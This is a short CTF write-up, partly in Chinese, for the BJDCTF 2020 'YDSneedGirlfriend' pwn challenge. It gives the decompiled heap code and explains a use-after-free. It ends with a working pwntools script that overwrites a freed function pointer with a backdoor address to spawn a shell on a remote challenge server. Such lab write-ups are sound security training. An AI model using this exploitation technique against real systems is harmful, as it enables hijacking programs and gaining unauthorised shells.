[BJDCTF 2020]YDSneedGirlfriend
简单的 UAF
unsigned __int64 add_girlfriend()
{
__int64 v0; // rbx
int i; // [rsp+8h] [rbp-28h]
int v3; // [rsp+Ch] [rbp-24h]
char buf[8]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v5; // [rsp+18h] [rbp-18h]
v5 = __readfsqword(0x28u);
if ( count <= 10 )
{
for ( i = 0; i <= 9; ++i )
{
if ( !*(&girlfriendlist + i) )
{
*(&girlfriendlist + i) = malloc(0x10u);
if ( !*(&girlfriendlist + i) )
{
puts("Alloca Error");
exit(-1);
}
*(_QWORD *)*(&girlfriendlist + i) = print_girlfriend_name;
printf("Her name size is :");
read(0, buf, 8u);
v3 = atoi(buf);
v0 = (__int64)*(&girlfriendlist + i);
*(_QWORD *)(v0 + 8) = malloc(v3);
if ( !*((_QWORD *)*(&girlfriendlist + i) + 1) )
{
puts("Alloca Error");
exit(-1);
}
printf("Her name is :");
read(0, *((void **)*(&girlfriendlist + i) + 1), v3);
puts("Success !Wow YDS get a girlfriend!");
++count;
return __readfsqword(0x28u) ^ v5;
}
}
}
else
{
puts("Full");
}
return __readfsqword(0x28u) ^ v5;
}
unsigned __int64 del_girlfriend()
{
int v1; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4u);
v1 = atoi(buf);
if ( v1 >= 0 && v1 < count )
{
if ( *(&girlfriendlist + v1) )
{
free(*((void **)*(&girlfriendlist + v1) + 1));
free(*(&girlfriendlist + v1));
puts("Success");
}
}
else
{
puts("Out of bound!");
}
return __readfsqword(0x28u) ^ v3;
}
unsigned __int64 print_girlfriend()
{
int v1; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4u);
v1 = atoi(buf);
if ( v1 >= 0 && v1 < count )
{
if ( *(&girlfriendlist + v1) )
(*(void (__fastcall **)(_QWORD))*(&girlfriendlist + v1))(*(&girlfriendlist + v1));
}
else
{
puts("Out of bound!");
}
return __readfsqword(0x28u) ^ v3;
}
int __fastcall print_girlfriend_name(__int64 a1)
{
return puts(*(const char **)(a1 + 8));
}
int backdoor()
{
puts("YDS get N+ girlfriend!");
return system("/bin/sh");
}
存在UAF漏洞,我们需要将某一个 (**(&girlfriendlist + v1)) 改为后门函数即可 get shell
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'
# elf = ELF()
# libc = ELF()
# io = process('./girlfriend')
io = remote("node4.anna.nssctf.cn",20069)
# io = gdb.debug('./girlfriend', gdbscript='set pagination off\nb *0x400A16\nb *0x400AE3\nb *0x400B9A\nc')
def add(size,data):
io.recvuntil(b"Your choice :")
io.sendline(b"1")
io.recvuntil(b"Her name size is :")
io.sendline(str(size).encode())
io.recvuntil(b"Her name is :")
io.sendline(data)
def delete(i):
io.recvuntil(b"Your choice :")
io.sendline(b"2")
io.recvuntil(b"Index :")
io.sendline(str(i).encode())
def show(i):
io.recvuntil(b"Your choice :")
io.sendline(b"3")
io.recvuntil(b"Index :")
io.sendline(str(i).encode())
backdoor = 0x400B9C
add(0x20,b"aaaa")
add(0x20,b"bbbb")
delete(0)
delete(1)
payload = p64(backdoor)
add(0x10,payload)
show(0)
io.interactive()